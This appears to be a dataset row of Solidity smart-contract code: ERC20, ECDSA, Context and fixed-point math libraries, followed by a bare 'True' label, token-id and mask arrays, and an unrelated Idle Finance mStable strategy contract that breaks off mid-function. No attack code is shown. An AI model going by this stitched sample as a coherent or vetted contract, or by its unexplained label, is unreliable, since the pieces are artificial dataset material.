string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.7.0;
pragma abicoder v2;
import "@openzeppelin/contracts/math/SafeMath.sol";
library Math {
using SafeMath for uint256;
uint256 internal constant BIG_NUMBER = (uint256(1) << uint256(200));
uint256 internal constant PRECISION_BITS = 40;
uint256 internal constant RONE = uint256(1) << PRECISION_BITS;
uint256 internal constant PI = (314 * RONE) / 10**2;
uint256 internal constant PI_PLUSONE = (414 * RONE) / 10**2;
uint256 internal constant PRECISION_POW = 1e2;
function checkMultOverflow(uint256 _x, uint256 _y) internal pure returns (bool) {
if (_y == 0) return false;
return (((_x * _y) / _y) != _x);
}
/**
@notice find the integer part of log2(p/q)
=> find largest x s.t p >= q * 2^x
=> find largest x s.t 2^x <= p / q
*/
function log2Int(uint256 _p, uint256 _q) internal pure returns (uint256) {
uint256 res = 0;
uint256 remain = _p / _q;
while (remain > 0) {
res++;
remain /= 2;
}
return res - 1;
}
/**
@notice log2 for a number that it in [1,2)
@dev _x is FP, return a FP
@dev function is from Kyber. Long modified the condition to be (_x >= one) && (_x < two)
to avoid the case where x = 2 may lead to incorrect result
*/
function log2ForSmallNumber(uint256 _x) internal pure returns (uint256) {
uint256 res = 0;
uint256 one = (uint256(1) << PRECISION_BITS);
uint256 two = 2 * one;
uint256 addition = one;
require((_x >= one) && (_x < two), "MATH_ERROR");
require(PRECISION_BITS < 125, "MATH_ERROR");
for (uint256 i = PRECISION_BITS; i > 0; i--) {
_x = (_x * _x) / one;
addition = addition / 2;
if (_x >= two) {
_x = _x / 2;
res += addition;
}
}
return res;
}
/**
@notice log2 of (p/q). returns result in FP form
@dev function is from Kyber.
@dev _p & _q is FP, return a FP
*/
function logBase2(uint256 _p, uint256 _q) internal pure returns (uint256) {
uint256 n = 0;
if (_p > _q) {
n = log2Int(_p, _q);
}
require(n * RONE <= BIG_NUMBER, "MATH_ERROR");
require(!checkMultOverflow(_p, RONE), "MATH_ERROR");
require(!checkMultOverflow(n, RONE), "MATH_ERROR");
require(!checkMultOverflow(uint256(1) << n, _q), "MATH_ERROR");
uint256 y = (_p * RONE) / (_q * (uint256(1) << n));
uint256 log2Small = log2ForSmallNumber(y);
assert(log2Small <= BIG_NUMBER);
return n * RONE + log2Small;
}
/**
@notice calculate ln(p/q). returned result >= 0
@dev function is from Kyber.
@dev _p & _q is FP, return a FP
*/
function ln(uint256 p, uint256 q) internal pure returns (uint256) {
uint256 ln2Numerator = 6931471805599453094172;
uint256 ln2Denomerator = 10000000000000000000000;
uint256 log2x = logBase2(p, q);
require(!checkMultOverflow(ln2Numerator, log2x), "MATH_ERROR");
return (ln2Numerator * log2x) / ln2Denomerator;
}
/**
@notice extract the fractional part of a FP
@dev value is a FP, return a FP
*/
function fpart(uint256 value) internal pure returns (uint256) {
return value % RONE;
}
/**
@notice convert a FP to an Int
@dev value is a FP, return an Int
*/
function toInt(uint256 value) internal pure returns (uint256) {
return value / RONE;
}
/**
@notice convert an Int to a FP
@dev value is an Int, return a FP
*/
function toFP(uint256 value) internal pure returns (uint256) {
return value * RONE;
}
/**
@notice return e^exp in FP form
@dev estimation by formula at http://pages.mtu.edu/~shene/COURSES/cs201/NOTES/chap04/exp.html
the function is based on exp function of:
https://github.com/NovakDistributed/macroverse/blob/master/contracts/RealMath.sol
@dev the function is expected to converge quite fast, after about 20 iteration
@dev exp is a FP, return a FP
*/
function rpowe(uint256 exp) internal pure returns (uint256) {
uint256 res = 0;
uint256 curTerm = RONE;
for (uint256 n = 0; ; n++) {
res += curTerm;
curTerm = rmul(curTerm, rdiv(exp, toFP(n + 1)));
if (curTerm == 0) {
break;
}
if (n == 500) {
/*
testing shows that in the most extreme case, it will take 430 turns to converge.
however, it's expected that the numbers will not exceed 2^120 in normal situation
the most extreme case is rpow((1<<256)-1,(1<<40)-1) (equal to rpow((2^256-1)/2^40,0.99..9))
*/
revert("RPOWE_SLOW_CONVERGE");
}
}
return res;
}
/**
@notice calculate base^exp with base and exp being FP int
@dev to improve accuracy, base^exp = base^(int(exp)+frac(exp))
= base^int(exp) * base^frac
@dev base & exp are FP, return a FP
*/
function rpow(uint256 base, uint256 exp) internal pure returns (uint256) {
if (exp == 0) {
// Anything to the 0 is 1
return RONE;
}
if (base == 0) {
// 0 to anything except 0 is 0
return 0;
}
uint256 frac = fpart(exp); // get the fractional part
uint256 whole = exp - frac;
uint256 wholePow = rpowi(base, toInt(whole)); // whole is a FP, convert to Int
uint256 fracPow;
// instead of calculating base ^ frac, we will calculate e ^ (frac*ln(base))
if (base < RONE) {
/* since the base is smaller than 1.0, ln(base) < 0.
Since 1 / (e^(frac*ln(1/base))) = e ^ (frac*ln(base)),
we will calculate 1 / (e^(frac*ln(1/base))) instead.
*/
uint256 newExp = rmul(frac, ln(rdiv(RONE, base), RONE));
fracPow = rdiv(RONE, rpowe(newExp));
} else {
/* base is greater than 1, calculate normally */
uint256 newExp = rmul(frac, ln(base, RONE));
fracPow = rpowe(newExp);
}
return rmul(wholePow, fracPow);
}
/**
@notice return base^exp with base in FP form and exp in Int
@dev this function use a technique called: exponentiating by squaring
complexity O(log(q))
@dev function is from Kyber.
@dev base is a FP, exp is an Int, return a FP
*/
function rpowi(uint256 base, uint256 exp) internal pure returns (uint256) {
uint256 res = exp % 2 != 0 ? base : RONE;
for (exp /= 2; exp != 0; exp /= 2) {
base = rmul(base, base);
if (exp % 2 != 0) {
res = rmul(res, base);
}
}
return res;
}
/**
@dev y is an Int, returns an Int
@dev babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
@dev from Uniswap
*/
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
/**
@notice divide 2 FP, return a FP
@dev function is from Balancer.
@dev x & y are FP, return a FP
*/
function rdiv(uint256 x, uint256 y) internal pure returns (uint256) {
return (y / 2).add(x.mul(RONE)).div(y);
}
/**
@notice multiply 2 FP, return a FP
@dev function is from Balancer.
@dev x & y are FP, return a FP
*/
function rmul(uint256 x, uint256 y) internal pure returns (uint256) {
return (RONE / 2).add(x.mul(y)).div(RONE);
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function subMax0(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a - b : 0;
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
3902,
2140,
1011,
1015,
1012,
1015,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1021,
1012,
1020,
1025,
10975,
8490,
2863,
11113,
11261,
4063,
1058,
2475,
1025,
12324,
1000,
1012,
1012,
1013,
1012,
1012,
1013,
19706,
1013,
12997,
10497,
2571,
9006,
6873,
8630,
29278,
3351,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
1012,
1012,
1013,
10061,
1013,
7279,
10362,
20285,
15058,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
3647,
2121,
2278,
11387,
1012,
14017,
1000,
1025,
3206,
7279,
10362,
9006,
6873,
8630,
20285,
2003,
7279,
10362,
20285,
15058,
1063,
2478,
8785,
2005,
21318,
3372,
17788,
2575,
1025,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
17788,
2575,
1025,
2478,
3647,
2121,
2278,
11387,
2005,
29464,
11890,
11387,
1025,
21318,
3372,
17788,
2575,
2797,
3795,
8523,
2618,
2595,
22305,
22139,
1025,
9570,
2953,
1006,
4769,
1035,
10615,
24805,
4590,
1010,
4769,
1035,
1060,
22123,
1010,
4769,
1035,
19204,
1007,
7279,
10362,
20285,
15058,
1006,
1035,
10615,
24805,
4590,
1010,
1035,
1060,
22123,
1010,
1035,
19204,
1007,
1063,
1065,
3853,
1035,
2131,
10288,
22305,
22139,
1006,
1007,
4722,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
12997,
10497,
2571,
9006,
6873,
8630,
29278,
3351,
1006,
15681,
1007,
1012,
2131,
10288,
22305,
22139,
1006,
10318,
27241,
2102,
1007,
1025,
1065,
3853,
1035,
2044,
27927,
20528,
2361,
1006,
1007,
4722,
2058,
15637,
1063,
11498,
19968,
1027,
1015,
1025,
3795,
8523,
2618,
2595,
22305,
22139,
1027,
1035,
2131,
10288,
22305,
22139,
1006,
1007,
1025,
1065,
1013,
1013,
1013,
1030,
22490,
3527,
2278,
7279,
10362,
20285,
15058,
1013,
1008,
1008,
3531,
6523,
2000,
9779,
3726,
20285,
1005,
1055,
1035,
7172,
5657,
18447,
18702,
3215,
2000,
2488,
3305,
2023,
3853,
1008,
1996,
3145,
4489,
2090,
9779,
3726,
1004,
7328,
2003,
1999,
7328,
2045,
2003,
2053,
7328,
3466,
2005,
5299,
1999,
11412,
1045,
1012,
1041,
1024,
2069,
2043,
1996,
5310,
2224,
1996,
14931,
11045,
2078,
2000,
2417,
21564,
1996,
10318,
27241,
2102,
2008,
2002,
2097,
5959,
1996,
7328,
3466,
1008,
1013,
3853,
1035,
7172,
5657,
18447,
18702,
3215,
1006,
4769,
5310,
1007,
4722,
2058,
15637,
1063,
1013,
1013,
2077,
10250,
2278,
1996,
3037,
2005,
5198,
1010,
10651,
28689,
19968,
1035,
10651,
28689,
19968,
1006,
1007,
1025,
21318,
3372,
17788,
2575,
1035,
11498,
19968,
1027,
11498,
19968,
1025,
21318,
3372,
17788,
2575,
5310,
8523,
25856,
5400,
19968,
1027,
2197,
28689,
19968,
1031,
5310,
1033,
1025,
2065,
1006,
5310,
8523,
25856,
5400,
19968,
1027,
1027,
1014,
1007,
1063,
2197,
28689,
19968,
1031,
5310,
1033,
1027,
1035,
11498,
19968,
1025,
2709,
1025,
1065,
21318,
3372,
17788,
2575,
4054,
1027,
5703,
11253,
1006,
5310,
1007,
1025,
21318,
3372,
17788,
2575,
3037,
10175,
5657,
4842,
14277,
1027,
1035,
11498,
19968,
1012,
4942,
1006,
5310,
8523,
25856,
5400,
19968,
1007,
1025,
21318,
3372,
17788,
2575,
3037,
19699,
5358,
14277,
1027,
4054,
1012,
14163,
2140,
1006,
3037,
10175,
5657,
4842,
14277,
1007,
1012,
4487,
2615,
1006,
4800,
24759,
3771,
1007,
1025,
2349,
18447,
18702,
3215,
1031,
5310,
1033,
1027,
2349,
18447,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "../../interfaces/IIdleCDOStrategy.sol";
import "../../interfaces/IMAsset.sol";
import "../../interfaces/ISavingsContractV2.sol";
import "../../interfaces/IERC20Detailed.sol";
import "../../interfaces/IVault.sol";
import "../../interfaces/IUniswapV2Router02.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
/// @author IdleHusbandry.
/// @title IdleMStableStrategy
/// @notice IIdleCDOStrategy to deploy funds in Idle Finance
/// @dev This contract should not have any funds at the end of each tx.
contract IdleMStableStrategy is Initializable, OwnableUpgradeable, ERC20Upgradeable, ReentrancyGuardUpgradeable, IIdleCDOStrategy {
using SafeERC20Upgradeable for IERC20Detailed;
/// @notice underlying token address (eg mUSD)
address public override token;
/// @notice address of the strategy used, in this case imUSD
address public override strategyToken;
/// @notice decimals of the underlying asset
uint256 public override tokenDecimals;
/// @notice one underlying token
uint256 public override oneToken;
/// @notice idleToken contract
ISavingsContractV2 public imUSD;
/// @notice underlying ERC20 token contract
IERC20Detailed public underlyingToken;
/* ------------Extra declarations ---------------- */
/// @notice address of the governance token. (Here META)
address public govToken;
/// @notice vault
IVault public vault;
/// @notice address of the IdleCDO
address public idleCDO;
/// @notice uniswap router path that should be used to swap the tokens
address[] public uniswapRouterPath;
/// @notice interface derived from uniswap router
IUniswapV2Router02 public uniswapV2Router02;
/// @notice amount last indexed for calculating APR
uint256 public lastIndexAmount;
/// @notice time when last deposit/redeem was made, used for calculating the APR
uint256 public lastIndexedTime;
/// @notice one year, used to calculate the APR
uint256 public constant YEAR = 365 days;
/// @notice round for which the last reward is claimed
uint256 public rewardLastRound;
/// @notice total imUSD tokens staked
uint256 public totalLpTokensStaked;
/// @notice total imUSD tokens locked
uint256 public totalLpTokensLocked;
/// @notice harvested imUSD tokens release delay
uint256 public releaseBlocksPeriod;
/// @notice latest harvest
uint256 public latestHarvestBlock;
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
token = address(1);
}
/// @notice Can be called only once
/// @dev Initialize the upgradable contract
/// @param _strategyToken address of the strategy token. Here imUSD
/// @param _underlyingToken address of the token deposited. here mUSD
/// @param _vault address of the of the vault
/// @param _uniswapV2Router02 address of the uniswap router
/// @param _routerPath path to swap the gov tokens
function initialize(
address _strategyToken,
address _underlyingToken,
address _vault,
address _uniswapV2Router02,
address[] calldata _routerPath,
address _owner
) public initializer {
OwnableUpgradeable.__Ownable_init();
ReentrancyGuardUpgradeable.__ReentrancyGuard_init();
require(token == address(0), "Token is already initialized");
//----- // -------//
// this contract tokenizes the staked imUSD position
strategyToken = address(this);
token = _underlyingToken;
underlyingToken = IERC20Detailed(_underlyingToken);
tokenDecimals = IERC20Detailed(_underlyingToken).decimals();
oneToken = 10**(tokenDecimals);
imUSD = ISavingsContractV2(_strategyToken);
vault = IVault(_vault);
govToken = vault.getRewardToken();
uniswapRouterPath = _routerPath;
uniswapV2Router02 = IUniswapV2Router02(_uniswapV2Router02);
releaseBlocksPeriod = 6400; // ~24 hours
ERC20Upgradeable.__ERC20_init("Idle MStable Strategy Token", string(abi.encodePacked("idleMS", underlyingToken.symbol())));
lastIndexedTime = block.timestamp;
//------//-------//
transferOwnership(_owner);
IERC20Detailed(_underlyingToken).approve(_strategyToken, type(uint256).max);
ISavingsContractV2(_strategyToken).approve(_vault, type(uint256).max);
}
/// @notice redeem the rewards. Claims all possible rewards
/// @return rewards amount of underlyings (mUSD) received after selling rewards
function redeemRewards() external onlyOwner returns (uint256[] memory rewards) {
_claimGovernanceTokens(0);
rewards = new uint256[](1);
rewards[0] = _swapGovTokenOnUniswapAndDepositToVault(0); // will redeem whatever possible reward is available
}
/// @notice redeem the rewards. Claims reward as per the _extraData
/// @param _extraData must contain the minimum liquidity to receive, start round and end round round for which the reward is being claimed
/// @return rewards amount of underlyings (mUSD) received after selling rewards
function redeemRewards(bytes calldata _extraData) external override onlyIdleCDO returns (uint256[] memory rewards) {
(uint256 minLiquidityTokenToReceive, uint256 endRound) = abi.decode(_extraData, (uint256, uint256));
_claimGovernanceTokens(endRound);
rewards = new uint256[](1);
rewards[0] = _swapGovTokenOnUniswapAndDepositToVault(minLiquidityTokenToReceive);
}
/// @notice unused in MStable Strategy
function pullStkAAVE() external pure override returns (uint256) {
return 0;
}
/// @notice net price in underlyings of 1 strategyToken
/// @return _price
function price() public view override returns (uint256 _price) {
uint256 _totalSupply = totalSupply();
if (_totalSupply == 0) {
_price = oneToken;
} else {
_price =
(totalLpTokensStaked - _lockedLpTokens()) * oneToken / _totalSupply;
}
}
/// @notice Get the reward token
/// @return _rewards array of reward token (empty as rewards are handled in this strategy)
function getRewardTokens() external pure override returns (address[] memory _rewards) {
return _rewards;
}
/// @notice Deposit the underlying token to vault
/// @param _amount number of tokens to deposit
/// @return minted number of reward tokens minted
function deposit(uint256 _amount) external override onlyIdleCDO returns (uint256 minted) {
if (_amount > 0) {
underlyingToken.transferFrom(msg.sender, address(this), _amount);
minted = _depositToVault(_amount, true);
}
}
/// @notice Internal function to deposit the underlying tokens to the vault
/// @param _amount amount of tokens to deposit
/// @param _shouldMint amount of tokens to deposit
/// @return _minted number of reward tokens minted
function _depositToVault(uint256 _amount, bool _shouldMint) internal returns (uint256 _minted) {
ISavingsContractV2 _imUSD = imUSD;
lastIndexAmount = lastIndexAmount + _amount;
lastIndexedTime = block.timestamp;
// mint imUSD with mUSD
_imUSD.depositSavings(_amount);
// stake imUSD in Meta vault
uint256 _imUSDBal = _imUSD.balanceOf(address(this));
vault.stake(_imUSDBal);
if (_shouldMint) {
_minted = _amount * oneToken / price();
_mint(msg.sender, _minted);
}
totalLpTokensStaked += _amount;
}
/// @notice Redeem Tokens
/// @param _amount amount of strategy tokens to redeem
/// @return Amount of underlying tokens received
function redeem(uint256 _amount) external override onlyIdleCDO returns (uint256) {
return _redeem(_amount, price());
}
/// @notice Redeem Tokens
/// @param _amount amount of underlying tokens to redeem
/// @return Amount of underlying tokens received
function redeemUnderlying(uint256 _amount) external override onlyIdleCDO returns (uint256) {
uint256 _price = price();
